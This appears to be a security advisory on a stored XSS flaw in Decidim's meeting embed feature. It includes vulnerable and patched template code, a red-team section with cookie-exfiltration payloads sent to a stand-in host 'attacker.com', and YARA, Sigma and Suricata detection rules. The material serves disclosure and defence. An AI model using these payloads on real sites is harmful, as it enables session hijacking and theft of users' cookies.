CVE-2024-45594

Executive Summary

CVE-2024-45594 is a stored Cross-Site Scripting (XSS) vulnerability in the Decidim participatory democracy framework, specifically within the meeting embeds feature used for online or hybrid meetings. An attacker can inject malicious JavaScript by crafting a malformed URL that is processed by the embed functionality. When a user views the compromised meeting page, the script executes in their browser, potentially leading to session hijacking, data theft, or defacement. The vulnerability affects all versions prior to 0.28.3 and 0.29.0. The CVSS score is 7.7 (High), and while no public exploit code is available, the attack vector is straightforward for an attacker with basic web application knowledge.

Supply Chain & Package Security

Decidim is a Ruby on Rails-based open-source framework distributed via RubyGems. The vulnerability exists in the core application code, not in a third-party dependency. However, organizations using Decidim should verify their Ruby environment and ensure no malicious gems have been introduced. The patch is available in the official Decidim repository, and upgrading to the fixed versions is the primary remediation.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
• Base Score: 7.7 (High)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed to trigger.
• User Interaction (UI): Required (R) – Victim must view the malicious meeting page.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): High (H) – Potential for full data exposure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): None (N) – No direct impact on availability.

Threat Level: High. The vulnerability is easy to exploit, requires no privileges, and can lead to significant data compromise. The lack of public exploit code reduces immediate risk, but the attack vector is well-understood.

Deep Dive & Mechanics

The vulnerability resides in the meeting embeds feature, which allows users to embed external content (e.g., video streams, documents) into meeting pages. The feature processes a URL provided by the meeting organizer to generate an iframe or similar embed element. The flaw occurs because the URL is not properly sanitized before being rendered in the HTML. An attacker can craft a URL containing JavaScript payloads, such as:

javascript:alert(document.cookie)

or a data URI:

data:text/html,<script>alert('XSS')</script>

When the meeting page is rendered, the browser interprets the malformed URL as executable code, leading to XSS. The attack is stored because the malicious URL is saved in the database and executed every time the page is loaded.

The root cause is insufficient input validation and output encoding in the view layer. The framework fails to escape the URL attribute in the embed tag, allowing arbitrary code execution.

Vulnerable vs. Patched Code

Vulnerable Code (Decidim < 0.28.3):

In the meeting embed view (e.g., app/views/decidim/meetings/meetings/_meeting.html.erb), the URL is rendered directly without sanitization:

<iframe src="<%= meeting.embed_url %>" width="100%" height="500"></iframe>

Patched Code (Decidim >= 0.28.3):

The patched version sanitizes the URL using a whitelist of allowed protocols and validates the input:

<iframe src="<%= sanitize_url(meeting.embed_url) %>" width="100%" height="500"></iframe>

The sanitize_url helper method ensures only safe protocols (e.g., https://, http://) are allowed and strips any JavaScript or data URIs.

Exploitation & Lab Setup

Red Team (Exploitation)

1. Setup: Deploy a vulnerable Decidim instance (version < 0.28.3) with meeting creation enabled.
2. Craft Payload: Create a meeting and set the embed URL to a malicious value:

   javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)
   

3. Trigger: Share the meeting link with a victim. When they view the meeting page, the script executes.
4. Exfiltrate: The victim's cookies are sent to the attacker's server.

Example Payload (URL-encoded):

javascript:new%20Image().src='https://attacker.com/steal?c='+document.cookie

Blue Team (Detection & Defense)

1. Monitor Logs: Look for unusual URL patterns in meeting creation logs, especially javascript: or data: schemes.
2. Web Application Firewall (WAF): Deploy rules to block requests containing javascript: or data:text/html in URL parameters.
3. Content Security Policy (CSP): Implement a strict CSP that disallows inline scripts and restricts script sources.
4. Input Validation: Ensure all user-supplied URLs are validated against a whitelist of allowed protocols.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound connections to unknown domains from Decidim servers.
  • HTTP requests containing javascript: or data: schemes in URL parameters.
• File IOCs:
  • Log entries showing embed_url values with javascript: or data: prefixes.
• Behavioral IOCs:
  • Unexpected JavaScript execution in user browsers when viewing meeting pages.
  • Unauthorized cookie exfiltration attempts.

Detection Engineering

YARA Rule

rule CVE_2024_45594_XSS_Embed {
    meta:
        description = "Detects malicious embed URLs in Decidim meeting data"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-45594"
    strings:
        $javascript = /javascript\s*:/i
        $data_uri = /data\s*:\s*text\/html/i
        $vbscript = /vbscript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-45594 Decidim Meeting Embed XSS
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit XSS via malformed embed URLs in Decidim
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - 'javascript:'
            - 'data:text/html'
    condition: selection
falsepositives:
    - Legitimate use of javascript: URLs in rare cases (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-45594 Decidim XSS Embed Attempt"; flow:to_server,established; content:"javascript:"; http_uri; nocase; sid:1000001; rev:1;)
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-45594 Decidim XSS Data URI"; flow:to_server,established; content:"data:text/html"; http_uri; nocase; sid:1000002; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade Decidim to version 0.28.3 or 0.29.0.
2. Workaround: If upgrade is not possible, manually apply the patch by adding URL sanitization in the meeting embed view.
3. Long-term: Implement input validation and output encoding for all user-supplied URLs. Use a whitelist of allowed protocols.
4. Monitoring: Enable logging for all meeting creation and modification actions. Review logs for suspicious URL patterns.
5. User Education: Inform meeting organizers not to use untrusted URLs in embed fields.

Valters IT